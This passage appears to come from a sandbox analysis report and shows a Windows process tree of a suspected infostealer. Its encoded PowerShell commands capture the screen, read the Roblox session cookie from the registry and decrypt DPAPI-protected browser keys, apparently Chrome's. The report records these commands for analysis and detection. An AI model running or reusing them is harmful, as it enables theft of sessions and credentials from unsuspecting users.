                                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwBtAGEAbQByAGwAeABcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA=="
                                                                    2⤵
                                                                      PID:1544
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwBtAGEAbQByAGwAeABcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA==
                                                                        3⤵
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:5116
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA=="
                                                                      2⤵
                                                                        PID:5940
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA==
                                                                          3⤵
                                                                            PID:5420
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMADcAZQAzAEkAawA0AFUASwB0ADUARgA2AHEAOQBVADcALwBDAHMARQBTAEYAWABjAEQAWQBmAEkAWQBKAGMAMAB1AGQAMQBiAHQAcgBMAGcATgBsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEALwBIAHIAeQArAEIAcwBUAGYARgA5AEcAbQBtAEEAUQAxAHYAWgBDAEkAUABOAFgAYgA0AGEAVwBWAGQAYQBVAGMAYwBYAEgAegBYAFQARgBuAFIATQBBAEEAQQBBAEwASwBlAEUAQwBxADIAUQBLAHkAbQA3AEIAQgBvAFMARABWAEwATAA2AHIAUQA0AHIAYgA1AFIANABmAE0AOAArAG0AaAAxAHgAaQBwAEsAcgBoAHQARABEAFYAeABPAEMAZgByAFcAUABJAEEATQBCAHkAbgBKAHEAcgB1AHEAMABBAEEAQQBBAEIAVgBsAGwASgBkAEwAawB4AG8AQgBpAHcANAB2ADIAVQA5ADIAVABMAGQAZQA3AFoATwBGADEATwBkAE4AOQB5AGkAdAB4AEkAKwBuAHEAQwB6AEQARAA2ADgAZgA1AG4AVgBXAGoAbQA3AFAASQAyAEcAbABrAGUALwBHADQAYQBBADgAZAA4AHcAYQBjAGQAZABVADgAMgBpAFUAaABpADAARABlAHEAcQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
                                                                          2⤵
                                                                            PID:4128
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMADcAZQAzAEkAawA0AFUASwB0ADUARgA2AHEAOQBVADcALwBDAHMARQBTAEYAWABjAEQAWQBmAEkAWQBKAGMAMAB1AGQAMQBiAHQAcgBMAGcATgBsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEALwBIAHIAeQArAEIAcwBUAGYARgA5AEcAbQBtAEEAUQAxAHYAWgBDAEkAUABOAFgAYgA0AGEAVwBWAGQAYQBVAGMAYwBYAEgAegBYAFQARgBuAFIATQBBAEEAQQBBAEwASwBlAEUAQwBxADIAUQBLAHkAbQA3AEIAQgBvAFMARABWAEwATAA2AHIAUQA0AHIAYgA1AFIANABmAE0AOAArAG0AaAAxAHgAaQBwAEsAcgBoAHQARABEAFYAeABPAEMAZgByAFcAUABJAEEATQBCAHkAbgBKAHEAcgB1AHEAMABBAEEAQQBBAEIAVgBsAGwASgBkAEwAawB4AG8AQgBpAHcANAB2ADIAVQA5ADIAVABMAGQAZQA3AFoATwBGADEATwBkAE4AOQB5AGkAdAB4AEkAKwBuAHEAQwB6AEQARAA2ADgAZgA1AG4AVgBXAGoAbQA3AFAASQAyAEcAbABrAGUALwBHADQAYQBBADgAZAA4AHcAYQBjAGQAZABVADgAMgBpAFUAaABpADAARABlAHEAcQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
                                                                              3⤵
                                                                                PID:5860
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAUQArAC8AOQA0AEgAQQAvAFkARQB5AEkAKwBRAE4ARwBRADIAdgBaAHAAQgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBGAFEATABPAHIAeQBLADMAcABqAFYASwAwADIASwBVAEUAbQB2AGIARwBFAEIAMgBvAHYASABXAFoATgBkAGEARwBFAHMAUwBuAE0AMwBqAFoAeABsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEAUQBtADYAdABMAEMAVgA3ADQAQwBWAFMAbQBGAGcATgBiAE4ANwBnADIANABsAFIAMQBaADkAVgAxAHAAOQBXADMAdgBvAGoAVQBVAG4AUwBOAEcAawBBAEUAQQBBAEcAeAB2AGsAZgB5AEUAOAAvAEQAVABrAE0AUgBDADgAbQAzAEEAcgBUADAAZgA3AHEANAB5AHoAeABEAFYATABQAEMASgBGADUAZQBKAEsAaABGAHYAYgBqAGkATABPAHYAYQB6AGIAMABRADEANgA3AGoASgBFAEMAWQBRADAANAB0AFIAMwB6AEMAeABqAHQALwBTAGYAUABJADQAMABBAGEASABMADcAVgA3AHAAUgB2ADgARwBzAGUAZQBRAEsAMgBKAFYAOQBkAEQAbQBIAFIAYwBZAFgANwA3ADgAYgBOAHEAVgBrAGkAcwBXAEIARQBTAEwANQBUAHMASQBlAEEAbAA0AE0AdwBhADIAMwBVAEcAWAAwADMAdAA5ADIAbQBIAFkAbgB4AHgAMgAzAG8AbgAvAFIAVgBFAEkAaABJADUAVABkADEATwBxAG0AdQAzAFEAbwB3AHcANQBBAEgAZABGAHkAaABTAHkAbgByAE8ASABWAFAAbgBSAEwAYgA3AHoAYgBIAHEAQQA2AC8AdABOAFcAQQA3ADQAbABjAGkARwBOAE8AegBCAGwAWQBZAFIAKwBKAEwAZABhADgAcgBKAGUANgA2AEcAMgBnADgANgBIAGYAdQBNAFYAQgBlAEUAOABZAHMAZQBCAG8ASwBVAFgAMwAzAGoATgBpAGwAeABKAEEAcgBkAEcAYwBvAGwAbABvAHYARQBnAGsAUwBmAEkAYQBXAGkAUgAxAGEAQQA1AEEAOQB1AFAAQwBvAEEATQBxAFkAdAAxAGQARQBOAFYANQBUAGMAcQBCADYANABxAE0ARABOAC8AdABPAEcARwBJAFoAaABKAC8AcQA4ADIAWABGAGIANQBvAEwATgBEAEQAdgBmAGYAKwBwAFYAegBPAGwAUgBCADkASQA3AEoAQgBBAGcAZQA2AEQAdQBwAGsAZgBHAEQASgBuAGQAegBHAEEAMgBSAFEAawBFAHEANQBjAHQAZQBnAGgAYgA2AG0AbwBrAFgAWQBsAGkAYwBxAEMAdABVAEcAUQBpACsAWgBUAEYAQgBYAEwAaQBiAEYALwBGAGkAdQA3AGcAOABxADkAZgBGAE8ANgAxAE0AOQBYAGQAYQBnAE0AVQBSAEwATABlAFUAUwAzAHEAUgBqAE8AUgA0AHIASQBvAEEAWABQAHQAawBsAEcAeQA3AFMAUQBvAEcARgAzAGMAagBXAFoAOQByAHUAaQBzAHoAagB3AGMAMABNAGoALwA0AHQANABYAGIAZQBtADAAbQB1AHAAbwA5AG8AOQArAHUANwA4AGgAcQA2AFkATABvAGEAZgBFAC8ANgBtAHYATABWAHMAdQBVAE8AagA5AGEAZgB0AGgATwAwAEwAawBZAGoASgB3AFkAQgBGAFQAZgB0AEEAQQBBAEEAQQBpAFYASABnAEEARQBOAEMANgBFAE8ATQBNADcAeQBFAE8ASQAxADUAMABHAEwALwBzAFQAdAB0AC8ASwB2AGEARQBiAGIAUAB3AE4ATABnAHAANgBsAGIAZgA4AGUAZgB1AHgATwBQAEMAZwB5AHgAWQBtAC8AMQBBAFYAbwBEAGQAZQBNAGcAVQBlAHEAegB0AEEASwBGAHgATABsAGYAegBkAHUAYQBrAGcAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA=="
                                                                              2⤵
                                                                                PID:4292
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAUQArAC8AOQA0AEgAQQAvAFkARQB5AEkAKwBRAE4ARwBRADIAdgBaAHAAQgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBGAFEATABPAHIAeQBLADMAcABqAFYASwAwADIASwBVAEUAbQB2AGIARwBFAEIAMgBvAHYASABXAFoATgBkAGEARwBFAHMAUwBuAE0AMwBqAFoAeABsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEAUQBtADYAdABMAEMAVgA3ADQAQwBWAFMAbQBGAGcATgBiAE4ANwBnADIANABsAFIAMQBaADkAVgAxAHAAOQBXADMAdgBvAGoAVQBVAG4AUwBOAEcAawBBAEUAQQBBAEcAeAB2AGsAZgB5AEUAOAAvAEQAVABrAE0AUgBDADgAbQAzAEEAcgBUADAAZgA3AHEANAB5AHoAeABEAFYATABQAEMASgBGADUAZQBKAEsAaABGAHYAYgBqAGkATABPAHYAYQB6AGIAMABRADEANgA3AGoASgBFAEMAWQBRADAANAB0AFIAMwB6AEMAeABqAHQALwBTAGYAUABJADQAMABBAGEASABMADcAVgA3AHAAUgB2ADgARwBzAGUAZQBRAEsAMgBKAFYAOQBkAEQAbQBIAFIAYwBZAFgANwA3ADgAYgBOAHEAVgBrAGkAcwBXAEIARQBTAEwANQBUAHMASQBlAEEAbAA0AE0AdwBhADIAMwBVAEcAWAAwADMAdAA5ADIAbQBIAFkAbgB4AHgAMgAzAG8AbgAvAFIAVgBFAEkAaABJADUAVABkADEATwBxAG0AdQAzAFEAbwB3AHcANQBBAEgAZABGAHkAaABTAHkAbgByAE8ASABWAFAAbgBSAEwAYgA3AHoAYgBIAHEAQQA2AC8AdABOAFcAQQA3ADQAbABjAGkARwBOAE8AegBCAGwAWQBZAFIAKwBKAEwAZABhADgAcgBKAGUANgA2AEcAMgBnADgANgBIAGYAdQBNAFYAQgBlAEUAOABZAHMAZQBCAG8ASwBVAFgAMwAzAGoATgBpAGwAeABKAEEAcgBkAEcAYwBvAGwAbABvAHYARQBnAGsAUwBmAEkAYQBXAGkAUgAxAGEAQQA1AEEAOQB1AFAAQwBvAEEATQBxAFkAdAAxAGQARQBOAFYANQBUAGMAcQBCADYANABxAE0ARABOAC8AdABPAEcARwBJAFoAaABKAC8AcQA4ADIAWABGAGIANQBvAEwATgBEAEQAdgBmAGYAKwBwAFYAegBPAGwAUgBCADkASQA3AEoAQgBBAGcAZQA2AEQAdQBwAGsAZgBHAEQASgBuAGQAegBHAEEAMgBSAFEAawBFAHEANQBjAHQAZQBnAGgAYgA2AG0AbwBrAFgAWQBsAGkAYwBxAEMAdABVAEcAUQBpACsAWgBUAEYAQgBYAEwAaQBiAEYALwBGAGkAdQA3AGcAOABxADkAZgBGAE8ANgAxAE0AOQBYAGQAYQBnAE0AVQBSAEwATABlAFUAUwAzAHEAUgBqAE8AUgA0AHIASQBvAEEAWABQAHQAawBsAEcAeQA3AFMAUQBvAEcARgAzAGMAagBXAFoAOQByAHUAaQBzAHoAagB3AGMAMABNAGoALwA0AHQANABYAGIAZQBtADAAbQB1AHAAbwA5AG8AOQArAHUANwA4AGgAcQA2AFkATABvAGEAZgBFAC8ANgBtAHYATABWAHMAdQBVAE8AagA5AGEAZgB0AGgATwAwAEwAawBZAGoASgB3AFkAQgBGAFQAZgB0AEEAQQBBAEEAQQBpAFYASABnAEEARQBOAEMANgBFAE8ATQBNADcAeQBFAE8ASQAxADUAMABHAEwALwBzAFQAdAB0AC8ASwB2AGEARQBiAGIAUAB3AE4ATABnAHAANgBsAGIAZgA4AGUAZgB1AHgATwBQAEMAZwB5AHgAWQBtAC8AMQBBAFYAbwBEAGQAZQBNAGcAVQBlAHEAegB0AEEASwBGAHgATABsAGYAegBkAHUAYQBrAGcAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA==
                                                                                  3⤵
                                                                                    PID:4120
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /d /s /c "python --version"
                                                                                  2⤵
                                                                                  • Executes a command shell one-liner
                                                                                  PID:204
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /d /s /c "python3 --version"
                                                                                  2⤵
                                                                                  • Executes a command shell one-liner
                                                                                  PID:4336
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /d /s /c "py -3 --version"
                                                                                  2⤵
                                                                                  • Executes a command shell one-liner
                                                                                  PID:4592
                                                                                • C:\Windows\system32\cmd.exe
